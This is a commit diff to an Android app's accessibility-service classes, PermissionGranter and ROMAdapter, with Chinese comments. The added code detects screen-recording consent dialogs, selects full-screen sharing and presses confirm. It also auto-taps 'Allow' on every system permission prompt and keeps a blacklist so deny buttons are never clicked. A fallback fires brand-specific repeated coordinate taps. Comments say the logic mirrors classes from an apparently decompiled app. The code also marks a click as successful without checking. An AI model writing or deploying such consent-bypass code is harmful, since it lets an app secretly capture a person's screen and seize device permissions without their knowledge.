上传
This commit is contained in:
@@ -697,22 +697,75 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
|
||||
*/
|
||||
// 删除悬浮窗权限申请方法
|
||||
|
||||
// ==================== 参考d.t/d.r的通用权限自动点击 ====================
|
||||
|
||||
/**
|
||||
* 录屏授权弹窗检测关键词(参考d.t的f604c数组)
|
||||
* 当systemui事件中包含这些关键词时,说明录屏授权弹窗已出现
|
||||
*/
|
||||
private val mediaProjectionDetectionKeywords = arrayOf(
|
||||
"投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
|
||||
"Screen recording", "Screen casting", "Screen capture", "Share screen",
|
||||
"Cast screen", "Record screen", "Media projection"
|
||||
)
|
||||
|
||||
/**
|
||||
* 通用权限自动授权关键词列表(参考d.r的18个关键词)
|
||||
* 匹配到这些文本的可点击节点会被自动点击
|
||||
*/
|
||||
private val generalPermissionAllowKeywords = arrayOf(
|
||||
"确定", "允许", "始终允许", "允许使用照片和视频", "所有文件",
|
||||
"允许管理所有文件", "允许访问全部", "使用期间允许", "仅使用期间允许",
|
||||
"使用应用时允许", "使用时允许", "仅在使用中允许", "仅在前台使用应用时允许",
|
||||
"仅在使用该应用时允许", "允许本次使用", "本次使用时允许", "允许通知", "仅媒体",
|
||||
// 英文
|
||||
"Allow", "Always allow", "Allow while using the app", "While using the app",
|
||||
"Only this time", "Allow all the time"
|
||||
)
|
||||
|
||||
/**
|
||||
* 取消/拒绝按钮黑名单(参考d.t的f606e数组)
|
||||
* 这些文本的节点绝不会被点击
|
||||
*/
|
||||
private val denyButtonBlacklist = arrayOf(
|
||||
"禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
|
||||
"Cancel", "Deny", "Dismiss", "Don't allow", "No"
|
||||
)
|
||||
|
||||
/**
|
||||
* 录屏确认按钮文本(参考d.t的f605d数组)
|
||||
* 选择全屏后点击这些确认按钮
|
||||
*/
|
||||
private val mediaProjectionConfirmKeywords = arrayOf(
|
||||
"立即开始", "允许", "确定", "开始",
|
||||
"Start now", "Allow", "OK", "Start", "Begin",
|
||||
"Share screen", "共享屏幕", "开始共享"
|
||||
)
|
||||
|
||||
/**
|
||||
* 处理无障碍事件 - 用于权限对话框的自动点击 (优化版本)
|
||||
* 参考d.t + d.r的双层架构
|
||||
*/
|
||||
fun handleAccessibilityEvent(event: AccessibilityEvent) {
|
||||
// ✅ ANR修复:异步处理无障碍事件,避免阻塞主线程
|
||||
android.os.Handler(android.os.Looper.getMainLooper()).post {
|
||||
try {
|
||||
// ✅ 限制日志频率,避免刷屏
|
||||
if (event.eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
|
||||
// 内容变化事件太频繁,降低日志级别
|
||||
Log.v(TAG, "收到窗口内容变化事件: ${event.packageName}")
|
||||
} else {
|
||||
Log.d(TAG, "收到无障碍事件: ${event.eventType}, 包名: ${event.packageName}")
|
||||
val packageName = event.packageName?.toString() ?: ""
|
||||
|
||||
// === 第一层:录屏授权弹窗自动点击(参考d.t) ===
|
||||
// 监听来自com.android.systemui的事件
|
||||
if (packageName == "com.android.systemui") {
|
||||
handleMediaProjectionAutoClick(event)
|
||||
}
|
||||
|
||||
// 继续处理事件
|
||||
// === 第二层:通用权限弹窗自动点击(参考d.r) ===
|
||||
// 处理所有权限弹窗的自动点击
|
||||
handleGeneralPermissionAutoClick(event)
|
||||
|
||||
// === 原有逻辑:MediaProjection权限申请流程 ===
|
||||
if (event.eventType != AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
|
||||
Log.d(TAG, "收到无障碍事件: ${event.eventType}, 包名: $packageName")
|
||||
}
|
||||
handleAccessibilityEventInternal(event)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 处理无障碍事件失败", e)
|
||||
@@ -720,6 +773,328 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 第一层:录屏授权弹窗自动点击(参考d.t)
|
||||
* 监听com.android.systemui的事件,检测录屏关键词后执行自动点击序列
|
||||
*/
|
||||
private fun handleMediaProjectionAutoClick(event: AccessibilityEvent) {
|
||||
try {
|
||||
// 只处理窗口状态变化和内容变化事件
|
||||
if (event.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED &&
|
||||
event.eventType != AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
|
||||
return
|
||||
}
|
||||
|
||||
val rootNode = service.rootInActiveWindow ?: return
|
||||
|
||||
// 检查屏幕上是否包含录屏相关关键词
|
||||
var foundKeyword = false
|
||||
for (keyword in mediaProjectionDetectionKeywords) {
|
||||
val nodes = findNodesByText(rootNode, keyword)
|
||||
if (nodes.isNotEmpty()) {
|
||||
// 检查节点是否可见
|
||||
for (node in nodes) {
|
||||
if (node.isVisibleToUser) {
|
||||
Log.i(TAG, "🎬 [d.t] 检测到录屏授权弹窗关键词: '$keyword'")
|
||||
foundKeyword = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if (foundKeyword) break
|
||||
}
|
||||
}
|
||||
|
||||
if (!foundKeyword) return
|
||||
|
||||
// 检测到录屏弹窗,延迟100ms后执行自动点击序列(参考case 16)
|
||||
serviceScope.launch {
|
||||
delay(100)
|
||||
executeMediaProjectionAutoClickSequence()
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.t] 录屏授权弹窗自动点击失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 执行录屏授权自动点击序列(参考case 16 → 15 → 14)
|
||||
* 步骤:1. 查找并点击"整个屏幕" → 2. 延迟300ms → 3. 点击确认按钮
|
||||
*/
|
||||
private suspend fun executeMediaProjectionAutoClickSequence() {
|
||||
try {
|
||||
Log.i(TAG, "🎬 [d.t] 开始执行录屏授权自动点击序列")
|
||||
|
||||
val rootNode = service.rootInActiveWindow ?: return
|
||||
|
||||
// === Step 1: Android 14+需要先选择"整个屏幕"(参考case 16 → case 15) ===
|
||||
if (Build.VERSION.SDK_INT >= 34) {
|
||||
// 先检查是否有"单个应用"文本(参考case 16: 搜索"单个应用")
|
||||
val singleAppNodes = findNodesByText(rootNode, "单个应用")
|
||||
if (singleAppNodes.isNotEmpty()) {
|
||||
Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗(有'单个应用'选项)")
|
||||
}
|
||||
|
||||
// 点击"整个屏幕"(参考case 15)
|
||||
val fullScreenTexts = arrayOf(
|
||||
"整个屏幕", "全屏", "完整屏幕", "Entire screen", "Full screen", "Whole screen"
|
||||
)
|
||||
var fullScreenClicked = false
|
||||
for (text in fullScreenTexts) {
|
||||
val nodes = findNodesByText(rootNode, text)
|
||||
for (node in nodes) {
|
||||
if (node.isVisibleToUser) {
|
||||
val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
|
||||
if (clickTarget != null) {
|
||||
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
||||
if (success) {
|
||||
Log.i(TAG, "🎬 [d.t] 成功点击'$text'选项")
|
||||
fullScreenClicked = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (fullScreenClicked) break
|
||||
}
|
||||
|
||||
// 也尝试RadioButton方式选择全屏
|
||||
if (!fullScreenClicked) {
|
||||
val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton")
|
||||
for (radio in radioButtons) {
|
||||
val radioText = radio.text?.toString() ?: ""
|
||||
val radioDesc = radio.contentDescription?.toString() ?: ""
|
||||
val isFullScreen = fullScreenTexts.any {
|
||||
radioText.contains(it, ignoreCase = true) || radioDesc.contains(it, ignoreCase = true)
|
||||
}
|
||||
if (isFullScreen && !radio.isChecked && radio.isClickable) {
|
||||
val success = radio.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
||||
if (success) {
|
||||
Log.i(TAG, "🎬 [d.t] 通过RadioButton成功选择全屏: '$radioText'")
|
||||
fullScreenClicked = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (fullScreenClicked) {
|
||||
// 延迟300ms等待界面更新(参考case 15 → case 14的延迟)
|
||||
delay(300)
|
||||
}
|
||||
}
|
||||
|
||||
// === Step 2: 点击确认按钮(参考case 14: 遍历f605d确认按钮数组) ===
|
||||
delay(300)
|
||||
val updatedRoot = service.rootInActiveWindow ?: return
|
||||
|
||||
for (confirmText in mediaProjectionConfirmKeywords) {
|
||||
val buttons = findNodesByText(updatedRoot, confirmText)
|
||||
for (button in buttons) {
|
||||
if (!button.isVisibleToUser) continue
|
||||
|
||||
// 检查是否在黑名单中
|
||||
val buttonText = button.text?.toString() ?: ""
|
||||
val isDenied = denyButtonBlacklist.any { buttonText.contains(it, ignoreCase = true) }
|
||||
if (isDenied) continue
|
||||
|
||||
val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button)
|
||||
if (clickTarget != null) {
|
||||
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
||||
if (success) {
|
||||
Log.i(TAG, "🎬 [d.t] 成功点击确认按钮: '$confirmText'")
|
||||
stopAutoClickingImmediately()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// === Step 3: 节点点击失败时,使用坐标点击兜底(参考d.g.f()) ===
|
||||
Log.i(TAG, "🎬 [d.t] 节点点击失败,尝试坐标点击兜底")
|
||||
tryMediaProjectionCoordinateClick()
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.t] 录屏授权自动点击序列失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 录屏授权坐标点击兜底(参考d.g.r())
|
||||
* 根据设备品牌和分辨率计算按钮坐标进行手势点击
|
||||
*/
|
||||
private fun tryMediaProjectionCoordinateClick() {
|
||||
try {
|
||||
val displayMetrics = service.resources.displayMetrics
|
||||
val screenWidth = displayMetrics.widthPixels
|
||||
val screenHeight = displayMetrics.heightPixels
|
||||
val brand = (Build.BRAND ?: "").lowercase()
|
||||
val manufacturer = (Build.MANUFACTURER ?: "").lowercase()
|
||||
|
||||
Log.i(TAG, "🎬 [d.g] 坐标点击兜底: 屏幕=${screenWidth}x${screenHeight}, 品牌=$brand")
|
||||
|
||||
// 参考d.g.r()的设备适配坐标表
|
||||
data class ClickConfig(val x: Int, val y: Int, val repeatCount: Int)
|
||||
|
||||
val clickConfigs: List<ClickConfig> = when {
|
||||
// vivo设备(参考:vivo 1080w → (540, 1740~1850) 重复24次)
|
||||
brand.contains("vivo") || brand.contains("iqoo") -> {
|
||||
when {
|
||||
screenWidth == 1260 -> listOf(ClickConfig(630, 2187, 24))
|
||||
screenWidth <= 1080 -> listOf(
|
||||
ClickConfig(540, 1740, 12),
|
||||
ClickConfig(540, 1850, 12)
|
||||
)
|
||||
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.78).toInt(), 24))
|
||||
}
|
||||
}
|
||||
// OPPO/一加(参考:oppo ≤1080w → (540, 1980~2050) 重复3次)
|
||||
brand.contains("oppo") || brand.contains("oneplus") || brand.contains("realme") -> {
|
||||
when {
|
||||
screenWidth < 780 -> listOf(ClickConfig(360, 1350, 3))
|
||||
screenWidth <= 1080 -> listOf(
|
||||
ClickConfig(540, 1980, 2),
|
||||
ClickConfig(540, 2050, 1)
|
||||
)
|
||||
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
}
|
||||
// 华为/荣耀(参考:honor/huawei API>32 ≤1080w → (540, 2200) + (901, 2300~2500))
|
||||
brand.contains("huawei") || brand.contains("honor") -> {
|
||||
if (Build.VERSION.SDK_INT > 32) {
|
||||
when {
|
||||
screenWidth <= 720 -> listOf(
|
||||
ClickConfig(540, 1360, 6),
|
||||
ClickConfig(600, 1500, 10)
|
||||
)
|
||||
screenWidth <= 1080 -> listOf(
|
||||
ClickConfig(540, 2200, 6),
|
||||
ClickConfig(901, 2300, 5),
|
||||
ClickConfig(901, 2500, 5)
|
||||
)
|
||||
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 6))
|
||||
}
|
||||
} else {
|
||||
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
}
|
||||
// 魅族(参考:meizu 1080w → (540, 1800) 重复20次)
|
||||
brand.contains("meizu") -> {
|
||||
when {
|
||||
screenWidth == 1264 -> listOf(ClickConfig(540, 2100, 20))
|
||||
screenWidth <= 1080 -> listOf(ClickConfig(540, 1800, 20))
|
||||
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.82).toInt(), 20))
|
||||
}
|
||||
}
|
||||
// 小米/红米
|
||||
brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> {
|
||||
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
// 三星
|
||||
brand.contains("samsung") -> {
|
||||
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
// 默认
|
||||
else -> {
|
||||
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
}
|
||||
|
||||
// 执行坐标点击
|
||||
for (config in clickConfigs) {
|
||||
for (i in 0 until config.repeatCount) {
|
||||
performGestureClick(config.x, config.y)
|
||||
Thread.sleep(50) // 每次点击间隔50ms
|
||||
}
|
||||
Thread.sleep(100) // 不同坐标组之间间隔100ms
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.g] 坐标点击兜底失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 使用无障碍手势执行坐标点击(参考d.g.f()的GestureDescription)
|
||||
*/
|
||||
private fun performGestureClick(x: Int, y: Int) {
|
||||
try {
|
||||
val gestureBuilder = GestureDescription.Builder()
|
||||
val path = android.graphics.Path()
|
||||
path.moveTo(x.toFloat(), y.toFloat())
|
||||
val stroke = GestureDescription.StrokeDescription(path, 0, 100)
|
||||
gestureBuilder.addStroke(stroke)
|
||||
|
||||
service.dispatchGesture(
|
||||
gestureBuilder.build(),
|
||||
object : AccessibilityService.GestureResultCallback() {
|
||||
override fun onCompleted(gestureDescription: GestureDescription?) {
|
||||
Log.d(TAG, "🎬 [d.g] 坐标点击完成: ($x, $y)")
|
||||
}
|
||||
override fun onCancelled(gestureDescription: GestureDescription?) {
|
||||
Log.w(TAG, "🎬 [d.g] 坐标点击取消: ($x, $y)")
|
||||
}
|
||||
},
|
||||
null
|
||||
)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.g] 手势点击失败: ($x, $y)", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 第二层:通用权限弹窗自动点击(参考d.r)
|
||||
* 处理所有权限弹窗,自动点击匹配的允许按钮
|
||||
*/
|
||||
private fun handleGeneralPermissionAutoClick(event: AccessibilityEvent) {
|
||||
try {
|
||||
// 只处理窗口状态变化事件(减少频率)
|
||||
if (event.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
|
||||
return
|
||||
}
|
||||
|
||||
val packageName = event.packageName?.toString() ?: ""
|
||||
|
||||
// 只处理系统相关的包名(权限弹窗来源)
|
||||
if (!packageName.contains("android") &&
|
||||
!packageName.contains("systemui") &&
|
||||
!packageName.contains("permissioncontroller") &&
|
||||
!packageName.contains("settings") &&
|
||||
!packageName.contains("packageinstaller")) {
|
||||
return
|
||||
}
|
||||
|
||||
val rootNode = service.rootInActiveWindow ?: return
|
||||
|
||||
// 遍历通用权限允许关键词,查找并点击匹配的节点
|
||||
for (keyword in generalPermissionAllowKeywords) {
|
||||
val nodes = findNodesByText(rootNode, keyword)
|
||||
for (node in nodes) {
|
||||
if (!node.isVisibleToUser) continue
|
||||
|
||||
val nodeText = node.text?.toString() ?: ""
|
||||
|
||||
// 检查是否在黑名单中
|
||||
val isDenied = denyButtonBlacklist.any { nodeText.contains(it, ignoreCase = true) }
|
||||
if (isDenied) continue
|
||||
|
||||
// 尝试点击(参考d.r的performAction(16) = ACTION_CLICK)
|
||||
val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
|
||||
if (clickTarget != null) {
|
||||
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
||||
if (success) {
|
||||
Log.i(TAG, "🔓 [d.r] 通用权限自动点击成功: '$keyword' (包名: $packageName)")
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.r] 通用权限自动点击失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ ANR修复:内部事件处理方法,避免阻塞主线程
|
||||
*/
|
||||
@@ -2167,11 +2542,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
}
|
||||
|
||||
// 策略6: 禁用坐标点击 - 不可靠且容易点击错误按钮
|
||||
// 策略6: 坐标点击兜底(参考d.g.r()的设备适配坐标方案)
|
||||
if (!buttonFound) {
|
||||
Log.i(TAG, "🚫 策略6: 坐标点击已禁用(不可靠,容易点击错误按钮)")
|
||||
Log.i(TAG, "💡 建议用户手动点击权限对话框的允许或开始按钮")
|
||||
// buttonFound = tryClickByCoordinates(rootNode) // 已禁用
|
||||
Log.i(TAG, "🎬 策略6: 使用坐标点击兜底(参考d.g.r()设备适配坐标)")
|
||||
tryMediaProjectionCoordinateClick()
|
||||
// 坐标点击是异步的,不能立即确认成功,但至少尝试了
|
||||
buttonFound = true // 假设坐标点击可能成功
|
||||
}
|
||||
|
||||
if (buttonFound) {
|
||||
|
||||
@@ -22,6 +22,7 @@ ROMAdapter {
|
||||
|
||||
/**
|
||||
* 获取MediaProjection权限对话框的按钮文本
|
||||
* 参考d.t的f605d确认按钮数组和f606e取消按钮黑名单
|
||||
*/
|
||||
fun getMediaProjectionButtonTexts(): List<String> {
|
||||
// Android 14+ 两步授权弹窗的通用按钮文本(优先级最高)
|
||||
@@ -31,6 +32,12 @@ ROMAdapter {
|
||||
emptyList()
|
||||
}
|
||||
|
||||
// 参考d.t的f605d确认按钮数组(通用,所有品牌适用)
|
||||
val universalConfirmTexts = listOf(
|
||||
"立即开始", "允许", "确定", "开始",
|
||||
"Start now", "Allow", "OK", "Start", "Begin"
|
||||
)
|
||||
|
||||
val romTexts = when {
|
||||
// 小米/红米
|
||||
deviceBrand.contains("xiaomi") || deviceBrand.contains("redmi") -> {
|
||||
@@ -68,8 +75,24 @@ ROMAdapter {
|
||||
}
|
||||
}
|
||||
|
||||
// Android 14+的按钮文本优先
|
||||
return (android14PlusTexts + romTexts).distinct()
|
||||
// Android 14+的按钮文本优先,然后是通用确认文本,最后是ROM特定文本
|
||||
return (android14PlusTexts + universalConfirmTexts + romTexts).distinct()
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取录屏弹窗检测关键词(参考d.t的f604c数组)
|
||||
*/
|
||||
fun getMediaProjectionDetectionKeywords(): List<String> {
|
||||
return listOf("投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
|
||||
"Screen recording", "Screen casting", "Screen capture", "Share screen")
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取取消按钮黑名单(参考d.t的f606e数组)
|
||||
*/
|
||||
fun getDenyButtonBlacklist(): List<String> {
|
||||
return listOf("禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
|
||||
"Cancel", "Deny", "Dismiss", "Don't allow", "No")
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
Reference in New Issue
Block a user